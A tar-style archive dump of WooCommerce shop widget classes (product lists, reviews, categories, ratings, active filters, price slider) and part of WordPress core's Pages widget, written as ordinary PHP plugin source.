			$query_args['tax_query'][] = array(
				'taxonomy' => 'product_visibility',
				'field'    => 'term_taxonomy_id',
				'terms'    => is_search() ? $product_visibility_term_ids['exclude-from-search'] : $product_visibility_term_ids['exclude-from-catalog'],
				'operator' => 'NOT IN',
			);
			$query_args['post_parent'] = 0;
		}

		if ( ! empty( $instance['hide_free'] ) ) {
			$query_args['meta_query'][] = array(
				'key'     => '_price',
				'value'   => 0,
				'compare' => '>',
				'type'    => 'DECIMAL',
			);
		}

		if ( 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['tax_query'][] = array(
				array(
					'taxonomy' => 'product_visibility',
					'field'    => 'term_taxonomy_id',
					'terms'    => $product_visibility_term_ids['outofstock'],
					'operator' => 'NOT IN',
				),
			); // WPCS: slow query ok.
		}

		switch ( $show ) {
			case 'featured':
				$query_args['tax_query'][] = array(
					'taxonomy' => 'product_visibility',
					'field'    => 'term_taxonomy_id',
					'terms'    => $product_visibility_term_ids['featured'],
				);
				break;
			case 'onsale':
				$product_ids_on_sale    = wc_get_product_ids_on_sale();
				$product_ids_on_sale[]  = 0;
				$query_args['post__in'] = $product_ids_on_sale;
				break;
		}

		switch ( $orderby ) {
			case 'price':
				$query_args['meta_key'] = '_price'; // WPCS: slow query ok.
				$query_args['orderby']  = 'meta_value_num';
				break;
			case 'rand':
				$query_args['orderby'] = 'rand';
				break;
			case 'sales':
				$query_args['meta_key'] = 'total_sales'; // WPCS: slow query ok.
				$query_args['orderby']  = 'meta_value_num';
				break;
			default:
				$query_args['orderby'] = 'date';
		}

		return new WP_Query( apply_filters( 'woocommerce_products_widget_query_args', $query_args ) );
	}

	/**
	 * Output widget.
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 *
	 * @see WP_Widget
	 */
	public function widget( $args, $instance ) {
		if ( $this->get_cached_widget( $args ) ) {
			return;
		}

		ob_start();

		wc_set_loop_prop( 'name', 'widget' );

		$products = $this->get_products( $args, $instance );
		if ( $products && $products->have_posts() ) {
			$this->widget_start( $args, $instance );

			echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_list', '<ul class="product_list_widget">' ) );

			$template_args = array(
				'widget_id'   => isset( $args['widget_id'] ) ? $args['widget_id'] : $this->widget_id,
				'show_rating' => true,
			);

			while ( $products->have_posts() ) {
				$products->the_post();
				wc_get_template( 'content-widget-product.php', $template_args );
			}

			echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_list', '</ul>' ) );

			$this->widget_end( $args );
		}

		wp_reset_postdata();

		echo $this->cache_widget( $args, ob_get_clean() ); // WPCS: XSS ok.
	}
}
class-wc-widget-recent-reviews.php000064400000004361152333335650013226 0ustar00<?php
/**
 * Recent Reviews Widget.
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget recent reviews class.
 */
class WC_Widget_Recent_Reviews extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_recent_reviews';
		$this->widget_description = __( 'Display a list of recent reviews from your store.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_recent_reviews';
		$this->widget_name        = __( 'Recent Product Reviews', 'woocommerce' );
		$this->settings           = array(
			'title'  => array(
				'type'  => 'text',
				'std'   => __( 'Recent reviews', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'number' => array(
				'type'  => 'number',
				'step'  => 1,
				'min'   => 1,
				'max'   => '',
				'std'   => 10,
				'label' => __( 'Number of reviews to show', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		global $comments, $comment;

		if ( $this->get_cached_widget( $args ) ) {
			return;
		}

		ob_start();

		$number   = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : $this->settings['number']['std'];
		$comments = get_comments(
			array(
				'number'      => $number,
				'status'      => 'approve',
				'post_status' => 'publish',
				'post_type'   => 'product',
				'parent'      => 0,
			)
		); // WPCS: override ok.

		if ( $comments ) {
			$this->widget_start( $args, $instance );

			echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_review_list', '<ul class="product_list_widget">' ) );

			foreach ( (array) $comments as $comment ) {
				wc_get_template(
					'content-widget-reviews.php',
					array(
						'comment' => $comment,
						'product' => wc_get_product( $comment->comment_post_ID ),
					)
				);
			}

			echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_review_list', '</ul>' ) );

			$this->widget_end( $args );

		}

		$content = ob_get_clean();

		echo $content; // WPCS: XSS ok.

		$this->cache_widget( $args, $content );
	}
}
class-wc-widget-product-categories.php000064400000021072152333335650014065 0ustar00<?php
/**
 * Product Categories Widget
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Product categories widget class.
 *
 * @extends WC_Widget
 */
class WC_Widget_Product_Categories extends WC_Widget {

	/**
	 * Category ancestors.
	 *
	 * @var array
	 */
	public $cat_ancestors;

	/**
	 * Current Category.
	 *
	 * @var bool
	 */
	public $current_cat;

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_product_categories';
		$this->widget_description = __( 'A list or dropdown of product categories.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_product_categories';
		$this->widget_name        = __( 'Product Categories', 'woocommerce' );
		$this->settings           = array(
			'title'              => array(
				'type'  => 'text',
				'std'   => __( 'Product categories', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'orderby'            => array(
				'type'    => 'select',
				'std'     => 'name',
				'label'   => __( 'Order by', 'woocommerce' ),
				'options' => array(
					'order' => __( 'Category order', 'woocommerce' ),
					'name'  => __( 'Name', 'woocommerce' ),
				),
			),
			'dropdown'           => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Show as dropdown', 'woocommerce' ),
			),
			'count'              => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Show product counts', 'woocommerce' ),
			),
			'hierarchical'       => array(
				'type'  => 'checkbox',
				'std'   => 1,
				'label' => __( 'Show hierarchy', 'woocommerce' ),
			),
			'show_children_only' => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Only show children of the current category', 'woocommerce' ),
			),
			'hide_empty'         => array(
				'type'  => 'checkbox',
				'std'   => 0,
				'label' => __( 'Hide empty categories', 'woocommerce' ),
			),
			'max_depth'          => array(
				'type'  => 'text',
				'std'   => '',
				'label' => __( 'Maximum depth', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 * @param array $args     Widget arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		global $wp_query, $post;

		$count              = isset( $instance['count'] ) ? $instance['count'] : $this->settings['count']['std'];
		$hierarchical       = isset( $instance['hierarchical'] ) ? $instance['hierarchical'] : $this->settings['hierarchical']['std'];
		$show_children_only = isset( $instance['show_children_only'] ) ? $instance['show_children_only'] : $this->settings['show_children_only']['std'];
		$dropdown           = isset( $instance['dropdown'] ) ? $instance['dropdown'] : $this->settings['dropdown']['std'];
		$orderby            = isset( $instance['orderby'] ) ? $instance['orderby'] : $this->settings['orderby']['std'];
		$hide_empty         = isset( $instance['hide_empty'] ) ? $instance['hide_empty'] : $this->settings['hide_empty']['std'];
		$dropdown_args      = array(
			'hide_empty' => $hide_empty,
		);
		$list_args          = array(
			'show_count'   => $count,
			'hierarchical' => $hierarchical,
			'taxonomy'     => 'product_cat',
			'hide_empty'   => $hide_empty,
		);
		$max_depth          = absint( isset( $instance['max_depth'] ) ? $instance['max_depth'] : $this->settings['max_depth']['std'] );

		$list_args['menu_order'] = false;
		$dropdown_args['depth']  = $max_depth;
		$list_args['depth']      = $max_depth;

		if ( 'order' === $orderby ) {
			$list_args['orderby']      = 'meta_value_num';
			$dropdown_args['orderby']  = 'meta_value_num';
			$list_args['meta_key']     = 'order';
			$dropdown_args['meta_key'] = 'order';
		}

		$this->current_cat   = false;
		$this->cat_ancestors = array();

		if ( is_tax( 'product_cat' ) ) {
			$this->current_cat   = $wp_query->queried_object;
			$this->cat_ancestors = get_ancestors( $this->current_cat->term_id, 'product_cat' );

		} elseif ( is_singular( 'product' ) ) {
			$terms = wc_get_product_terms(
				$post->ID,
				'product_cat',
				apply_filters(
					'woocommerce_product_categories_widget_product_terms_args',
					array(
						'orderby' => 'parent',
						'order'   => 'DESC',
					)
				)
			);

			if ( $terms ) {
				$main_term           = apply_filters( 'woocommerce_product_categories_widget_main_term', $terms[0], $terms );
				$this->current_cat   = $main_term;
				$this->cat_ancestors = get_ancestors( $main_term->term_id, 'product_cat' );
			}
		}

		// Show Siblings and Children Only.
		if ( $show_children_only && $this->current_cat ) {
			if ( $hierarchical ) {
				$include = array_merge(
					$this->cat_ancestors,
					array( $this->current_cat->term_id ),
					get_terms(
						'product_cat',
						array(
							'fields'       => 'ids',
							'parent'       => 0,
							'hierarchical' => true,
							'hide_empty'   => false,
						)
					),
					get_terms(
						'product_cat',
						array(
							'fields'       => 'ids',
							'parent'       => $this->current_cat->term_id,
							'hierarchical' => true,
							'hide_empty'   => false,
						)
					)
				);
				// Gather siblings of ancestors.
				if ( $this->cat_ancestors ) {
					foreach ( $this->cat_ancestors as $ancestor ) {
						$include = array_merge(
							$include,
							get_terms(
								'product_cat',
								array(
									'fields'       => 'ids',
									'parent'       => $ancestor,
									'hierarchical' => false,
									'hide_empty'   => false,
								)
							)
						);
					}
				}
			} else {
				// Direct children.
				$include = get_terms(
					'product_cat',
					array(
						'fields'       => 'ids',
						'parent'       => $this->current_cat->term_id,
						'hierarchical' => true,
						'hide_empty'   => false,
					)
				);
			}

			$list_args['include']     = implode( ',', $include );
			$dropdown_args['include'] = $list_args['include'];

			if ( empty( $include ) ) {
				return;
			}
		} elseif ( $show_children_only ) {
			$dropdown_args['depth']        = 1;
			$dropdown_args['child_of']     = 0;
			$dropdown_args['hierarchical'] = 1;
			$list_args['depth']            = 1;
			$list_args['child_of']         = 0;
			$list_args['hierarchical']     = 1;
		}

		$this->widget_start( $args, $instance );

		if ( $dropdown ) {
			wc_product_dropdown_categories(
				apply_filters(
					'woocommerce_product_categories_widget_dropdown_args',
					wp_parse_args(
						$dropdown_args,
						array(
							'show_count'         => $count,
							'hierarchical'       => $hierarchical,
							'show_uncategorized' => 0,
							'selected'           => $this->current_cat ? $this->current_cat->slug : '',
						)
					)
				)
			);

			wp_enqueue_script( 'selectWoo' );
			wp_enqueue_style( 'select2' );

			wc_enqueue_js(
				"
				jQuery( '.dropdown_product_cat' ).on( 'change', function() {
					if ( jQuery(this).val() != '' ) {
						var this_page = '';
						var home_url  = '" . esc_js( home_url( '/' ) ) . "';
						if ( home_url.indexOf( '?' ) > 0 ) {
							this_page = home_url + '&product_cat=' + jQuery(this).val();
						} else {
							this_page = home_url + '?product_cat=' + jQuery(this).val();
						}
						location.href = this_page;
					} else {
						location.href = '" . esc_js( wc_get_page_permalink( 'shop' ) ) . "';
					}
				});

				if ( jQuery().selectWoo ) {
					var wc_product_cat_select = function() {
						jQuery( '.dropdown_product_cat' ).selectWoo( {
							placeholder: '" . esc_js( __( 'Select a category', 'woocommerce' ) ) . "',
							minimumResultsForSearch: 5,
							width: '100%',
							allowClear: true,
							language: {
								noResults: function() {
									return '" . esc_js( _x( 'No matches found', 'enhanced select', 'woocommerce' ) ) . "';
								}
							}
						} );
					};
					wc_product_cat_select();
				}
			"
			);
		} else {
			include_once WC()->plugin_path() . '/includes/walkers/class-wc-product-cat-list-walker.php';

			$list_args['walker']                     = new WC_Product_Cat_List_Walker();
			$list_args['title_li']                   = '';
			$list_args['pad_counts']                 = 1;
			$list_args['show_option_none']           = __( 'No product categories exist.', 'woocommerce' );
			$list_args['current_category']           = ( $this->current_cat ) ? $this->current_cat->term_id : '';
			$list_args['current_category_ancestors'] = $this->cat_ancestors;
			$list_args['max_depth']                  = $max_depth;

			echo '<ul class="product-categories">';

			wp_list_categories( apply_filters( 'woocommerce_product_categories_widget_args', $list_args ) );

			echo '</ul>';
		}

		$this->widget_end( $args );
	}
}
class-wc-widget-top-rated-products.php000064400000005221152333335650014020 0ustar00<?php
/**
 * Top Rated Products Widget.
 * Gets and displays top rated products in an unordered list.
 *
 * @package WooCommerce\Widgets
 * @version 3.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget top rated products class.
 */
class WC_Widget_Top_Rated_Products extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_top_rated_products';
		$this->widget_description = __( "A list of your store's top-rated products.", 'woocommerce' );
		$this->widget_id          = 'woocommerce_top_rated_products';
		$this->widget_name        = __( 'Products by Rating list', 'woocommerce' );
		$this->settings           = array(
			'title'  => array(
				'type'  => 'text',
				'std'   => __( 'Top rated products', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
			'number' => array(
				'type'  => 'number',
				'step'  => 1,
				'min'   => 1,
				'max'   => '',
				'std'   => 5,
				'label' => __( 'Number of products to show', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {

		if ( $this->get_cached_widget( $args ) ) {
			return;
		}

		ob_start();

		$number = ! empty( $instance['number'] ) ? absint( $instance['number'] ) : $this->settings['number']['std'];

		$query_args = apply_filters(
			'woocommerce_top_rated_products_widget_args',
			array(
				'posts_per_page' => $number,
				'no_found_rows'  => 1,
				'post_status'    => 'publish',
				'post_type'      => 'product',
				'meta_key'       => '_wc_average_rating',
				'orderby'        => 'meta_value_num',
				'order'          => 'DESC',
				'meta_query'     => WC()->query->get_meta_query(),
				'tax_query'      => WC()->query->get_tax_query(),
			)
		); // WPCS: slow query ok.

		$r = new WP_Query( $query_args );

		if ( $r->have_posts() ) {

			$this->widget_start( $args, $instance );

			echo wp_kses_post( apply_filters( 'woocommerce_before_widget_product_list', '<ul class="product_list_widget">' ) );

			$template_args = array(
				'widget_id'   => isset( $args['widget_id'] ) ? $args['widget_id'] : $this->widget_id,
				'show_rating' => true,
			);

			while ( $r->have_posts() ) {
				$r->the_post();
				wc_get_template( 'content-widget-product.php', $template_args );
			}

			echo wp_kses_post( apply_filters( 'woocommerce_after_widget_product_list', '</ul>' ) );

			$this->widget_end( $args );
		}

		wp_reset_postdata();

		$content = ob_get_clean();

		echo $content; // WPCS: XSS ok.

		$this->cache_widget( $args, $content );
	}
}
class-wc-widget-layered-nav-filters.php000064400000010765152333335650014146 0ustar00<?php
/**
 * Layered Navigation Filters Widget.
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * Widget layered nav filters.
 */
class WC_Widget_Layered_Nav_Filters extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_layered_nav_filters';
		$this->widget_description = __( 'Display a list of active product filters.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_layered_nav_filters';
		$this->widget_name        = __( 'Active Product Filters', 'woocommerce' );
		$this->settings           = array(
			'title' => array(
				'type'  => 'text',
				'std'   => __( 'Active filters', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
		);

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		if ( ! is_shop() && ! is_product_taxonomy() ) {
			return;
		}

		$_chosen_attributes = WC_Query::get_layered_nav_chosen_attributes();
		$min_price          = isset( $_GET['min_price'] ) ? wc_clean( wp_unslash( $_GET['min_price'] ) ) : 0; // WPCS: input var ok, CSRF ok.
		$max_price          = isset( $_GET['max_price'] ) ? wc_clean( wp_unslash( $_GET['max_price'] ) ) : 0; // WPCS: input var ok, CSRF ok.
		$rating_filter      = isset( $_GET['rating_filter'] ) ? array_filter( array_map( 'absint', explode( ',', wp_unslash( $_GET['rating_filter'] ) ) ) ) : array(); // WPCS: sanitization ok, input var ok, CSRF ok.
		$base_link          = $this->get_current_page_url();

		if ( 0 < count( $_chosen_attributes ) || 0 < $min_price || 0 < $max_price || ! empty( $rating_filter ) ) {

			$this->widget_start( $args, $instance );

			echo '<ul>';

			// Attributes.
			if ( ! empty( $_chosen_attributes ) ) {
				foreach ( $_chosen_attributes as $taxonomy => $data ) {
					foreach ( $data['terms'] as $term_slug ) {
						$term = get_term_by( 'slug', $term_slug, $taxonomy );
						if ( ! $term ) {
							continue;
						}

						$filter_name    = 'filter_' . wc_attribute_taxonomy_slug( $taxonomy );
						$current_filter = isset( $_GET[ $filter_name ] ) ? explode( ',', wc_clean( wp_unslash( $_GET[ $filter_name ] ) ) ) : array(); // WPCS: input var ok, CSRF ok.
						$current_filter = array_map( 'sanitize_title', $current_filter );
						$new_filter     = array_diff( $current_filter, array( $term_slug ) );

						$link = remove_query_arg( array( 'add-to-cart', $filter_name ), $base_link );

						if ( count( $new_filter ) > 0 ) {
							$link = add_query_arg( $filter_name, implode( ',', $new_filter ), $link );
						}

						$filter_classes = array( 'chosen', 'chosen-' . sanitize_html_class( str_replace( 'pa_', '', $taxonomy ) ), 'chosen-' . sanitize_html_class( str_replace( 'pa_', '', $taxonomy ) . '-' . $term_slug ) );

						echo '<li class="' . esc_attr( implode( ' ', $filter_classes ) ) . '"><a rel="nofollow" aria-label="' . esc_attr__( 'Remove filter', 'woocommerce' ) . '" href="' . esc_url( $link ) . '">' . esc_html( $term->name ) . '</a></li>';
					}
				}
			}

			if ( $min_price ) {
				$link = remove_query_arg( 'min_price', $base_link );
				/* translators: %s: minimum price */
				echo '<li class="chosen"><a rel="nofollow" aria-label="' . esc_attr__( 'Remove filter', 'woocommerce' ) . '" href="' . esc_url( $link ) . '">' . sprintf( __( 'Min %s', 'woocommerce' ), wc_price( $min_price ) ) . '</a></li>'; // WPCS: XSS ok.
			}

			if ( $max_price ) {
				$link = remove_query_arg( 'max_price', $base_link );
				/* translators: %s: maximum price */
				echo '<li class="chosen"><a rel="nofollow" aria-label="' . esc_attr__( 'Remove filter', 'woocommerce' ) . '" href="' . esc_url( $link ) . '">' . sprintf( __( 'Max %s', 'woocommerce' ), wc_price( $max_price ) ) . '</a></li>'; // WPCS: XSS ok.
			}

			if ( ! empty( $rating_filter ) ) {
				foreach ( $rating_filter as $rating ) {
					$link_ratings = implode( ',', array_diff( $rating_filter, array( $rating ) ) );
					$link         = $link_ratings ? add_query_arg( 'rating_filter', $link_ratings ) : remove_query_arg( 'rating_filter', $base_link );

					/* translators: %s: rating */
					echo '<li class="chosen"><a rel="nofollow" aria-label="' . esc_attr__( 'Remove filter', 'woocommerce' ) . '" href="' . esc_url( $link ) . '">' . sprintf( esc_html__( 'Rated %s out of 5', 'woocommerce' ), esc_html( $rating ) ) . '</a></li>';
				}
			}

			echo '</ul>';

			$this->widget_end( $args );
		}
	}
}
class-wc-widget-price-filter.php000064400000015557152333335650012662 0ustar00<?php
/**
 * Price Filter Widget and related functions.
 *
 * Generates a range slider to filter products by price.
 *
 * @package WooCommerce\Widgets
 * @version 2.3.0
 */

use Automattic\Jetpack\Constants;

defined( 'ABSPATH' ) || exit;

/**
 * Widget price filter class.
 */
class WC_Widget_Price_Filter extends WC_Widget {

	/**
	 * Constructor.
	 */
	public function __construct() {
		$this->widget_cssclass    = 'woocommerce widget_price_filter';
		$this->widget_description = __( 'Display a slider to filter products in your store by price.', 'woocommerce' );
		$this->widget_id          = 'woocommerce_price_filter';
		$this->widget_name        = __( 'Filter Products by Price', 'woocommerce' );
		$this->settings           = array(
			'title' => array(
				'type'  => 'text',
				'std'   => __( 'Filter by price', 'woocommerce' ),
				'label' => __( 'Title', 'woocommerce' ),
			),
		);
		$suffix                   = Constants::is_true( 'SCRIPT_DEBUG' ) ? '' : '.min';
		$version                  = Constants::get_constant( 'WC_VERSION' );
		wp_register_script( 'accounting', WC()->plugin_url() . '/assets/js/accounting/accounting' . $suffix . '.js', array( 'jquery' ), '0.4.2', true );
		wp_register_script( 'wc-jquery-ui-touchpunch', WC()->plugin_url() . '/assets/js/jquery-ui-touch-punch/jquery-ui-touch-punch' . $suffix . '.js', array( 'jquery-ui-slider' ), $version, true );
		wp_register_script( 'wc-price-slider', WC()->plugin_url() . '/assets/js/frontend/price-slider' . $suffix . '.js', array( 'jquery-ui-slider', 'wc-jquery-ui-touchpunch', 'accounting' ), $version, true );
		wp_localize_script(
			'wc-price-slider',
			'woocommerce_price_slider_params',
			array(
				'currency_format_num_decimals' => 0,
				'currency_format_symbol'       => get_woocommerce_currency_symbol(),
				'currency_format_decimal_sep'  => esc_attr( wc_get_price_decimal_separator() ),
				'currency_format_thousand_sep' => esc_attr( wc_get_price_thousand_separator() ),
				'currency_format'              => esc_attr( str_replace( array( '%1$s', '%2$s' ), array( '%s', '%v' ), get_woocommerce_price_format() ) ),
			)
		);

		if ( is_customize_preview() ) {
			wp_enqueue_script( 'wc-price-slider' );
		}

		parent::__construct();
	}

	/**
	 * Output widget.
	 *
	 * @see WP_Widget
	 *
	 * @param array $args     Arguments.
	 * @param array $instance Widget instance.
	 */
	public function widget( $args, $instance ) {
		global $wp;

		// Requires lookup table added in 3.6.
		if ( version_compare( get_option( 'woocommerce_db_version', null ), '3.6', '<' ) ) {
			return;
		}

		if ( ! is_shop() && ! is_product_taxonomy() ) {
			return;
		}

		// If there are not posts and we're not filtering, hide the widget.
		if ( ! WC()->query->get_main_query()->post_count && ! isset( $_GET['min_price'] ) && ! isset( $_GET['max_price'] ) ) { // WPCS: input var ok, CSRF ok.
			return;
		}

		wp_enqueue_script( 'wc-price-slider' );

		// Round values to nearest 10 by default.
		$step = max( apply_filters( 'woocommerce_price_filter_widget_step', 10 ), 1 );

		// Find min and max price in current result set.
		$prices    = $this->get_filtered_price();
		$min_price = $prices->min_price;
		$max_price = $prices->max_price;

		// Check to see if we should add taxes to the prices if store are excl tax but display incl.
		$tax_display_mode = get_option( 'woocommerce_tax_display_shop' );

		if ( wc_tax_enabled() && ! wc_prices_include_tax() && 'incl' === $tax_display_mode ) {
			$tax_class = apply_filters( 'woocommerce_price_filter_widget_tax_class', '' ); // Uses standard tax class.
			$tax_rates = WC_Tax::get_rates( $tax_class );

			if ( $tax_rates ) {
				$min_price += WC_Tax::get_tax_total( WC_Tax::calc_exclusive_tax( $min_price, $tax_rates ) );
				$max_price += WC_Tax::get_tax_total( WC_Tax::calc_exclusive_tax( $max_price, $tax_rates ) );
			}
		}

		$min_price = apply_filters( 'woocommerce_price_filter_widget_min_amount', floor( $min_price / $step ) * $step );
		$max_price = apply_filters( 'woocommerce_price_filter_widget_max_amount', ceil( $max_price / $step ) * $step );

		// If both min and max are equal, we don't need a slider.
		if ( $min_price === $max_price ) {
			return;
		}

		$current_min_price = isset( $_GET['min_price'] ) ? floor( floatval( wp_unslash( $_GET['min_price'] ) ) / $step ) * $step : $min_price; // WPCS: input var ok, CSRF ok.
		$current_max_price = isset( $_GET['max_price'] ) ? ceil( floatval( wp_unslash( $_GET['max_price'] ) ) / $step ) * $step : $max_price; // WPCS: input var ok, CSRF ok.

		$this->widget_start( $args, $instance );

		if ( '' === get_option( 'permalink_structure' ) ) {
			$form_action = remove_query_arg( array( 'page', 'paged', 'product-page' ), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
		} else {
			$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( trailingslashit( $wp->request ) ) );
		}

		wc_get_template(
			'content-widget-price-filter.php',
			array(
				'form_action'       => $form_action,
				'step'              => $step,
				'min_price'         => $min_price,
				'max_price'         => $max_price,
				'current_min_price' => $current_min_price,
				'current_max_price' => $current_max_price,
			)
		);

		$this->widget_end( $args );
	}

	/**
	 * Get filtered min price for current products.
	 *
	 * @return int
	 */
	protected function get_filtered_price() {
		global $wpdb;

		$args       = WC()->query->get_main_query()->query_vars;
		$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
		$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

		if ( ! is_post_type_archive( 'product' ) && ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
			$tax_query[] = WC()->query->get_main_tax_query();
		}

		foreach ( $meta_query + $tax_query as $key => $query ) {
			if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
				unset( $meta_query[ $key ] );
			}
		}

		$meta_query = new WP_Meta_Query( $meta_query );
		$tax_query  = new WP_Tax_Query( $tax_query );
		$search     = WC_Query::get_main_search_query_sql();

		$meta_query_sql   = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
		$tax_query_sql    = $tax_query->get_sql( $wpdb->posts, 'ID' );
		$search_query_sql = $search ? ' AND ' . $search : '';

		$sql = "
			SELECT min( min_price ) as min_price, MAX( max_price ) as max_price
			FROM {$wpdb->wc_product_meta_lookup}
			WHERE product_id IN (
				SELECT ID FROM {$wpdb->posts}
				" . $tax_query_sql['join'] . $meta_query_sql['join'] . "
				WHERE {$wpdb->posts}.post_type IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_post_type', array( 'product' ) ) ) ) . "')
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . $search_query_sql . '
			)';

		$sql = apply_filters( 'woocommerce_price_filter_sql', $sql, $meta_query_sql, $tax_query_sql );

		return $wpdb->get_row( $sql ); // WPCS: unprepared SQL ok.
	}
}
class-wp-widget-pages.php000064400000013153152333503070011370 0ustar00<?php
/**
 * Widget API: WP_Widget_Pages class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Pages widget.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Pages extends WP_Widget {

	/**
	 * Sets up a new Pages widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_pages',
			'description'                 => __( 'A list of your site&#8217;s Pages.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'pages', __( 'Pages' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Pages widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Pages' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/**
		 * Filters the widget title.
		 *
		 * @since 2.6.0
		 *
		 * @param string $title    The widget title. Default 'Pages'.
		 * @param array  $instance Array of settings for the current widget.
		 * @param mixed  $id_base  The widget ID.
		 */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		$sortby  = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];

		if ( 'menu_order' === $sortby ) {
			$sortby = 'menu_order, post_title';
		}

		$output = wp_list_pages(
			/**
			 * Filters the arguments for the Pages widget.
			 *
			 * @since 2.8.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @see wp_list_pages()
			 *
			 * @param array $args     An array of arguments to retrieve the pages list.
			 * @param array $instance Array of settings for the current widget.
			 */
			apply_filters(
				'widget_pages_args',
				array(
					'title_li'    => '',
					'echo'        => 0,
					'sort_column' => $sortby,
					'exclude'     => $exclude,
				),
				$instance
			)
		);

		if ( ! empty( $output ) ) {
			echo $args['before_widget'];
			if ( $title ) {
				echo $args['before_title'] . $title . $args['after_title'];
			}

			$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

			/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
			$format = apply_filters( 'navigation_widgets_format', $format );

			if ( 'html5' === $format ) {
				// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
				$title      = trim( strip_tags( $title ) );
				$aria_label = $title ? $title : $default_title;
				echo '<nav role="navigation" aria-label="' . esc_attr( $aria_label ) . '">';
			}
			?>

			<ul>
				<?php echo $output; ?>
			</ul>

			<?php
			if ( 'html5' === $format ) {
				echo '</nav>';
			}

			echo $args['after_widget'];
		}
	}

	/**
	 * Handles updating settings for the current Pages widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ), true ) ) {
			$instance['sortby'] = $new_instance['sortby'];
		} else {
			$instance['sortby'] = 'menu_order';
		}

		$instance['exclude'] = sanitize_text_field( $new_instance['exclude'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Pages widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		// Defaults.
		$instance = wp_parse_args(
			(array) $instance,
			array(
				'sortby'  => 'post_title',
				'title'   => '',
				'exclude' => '',
			)
		);
		?>
		<p>
			<label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:' ); ?></label>
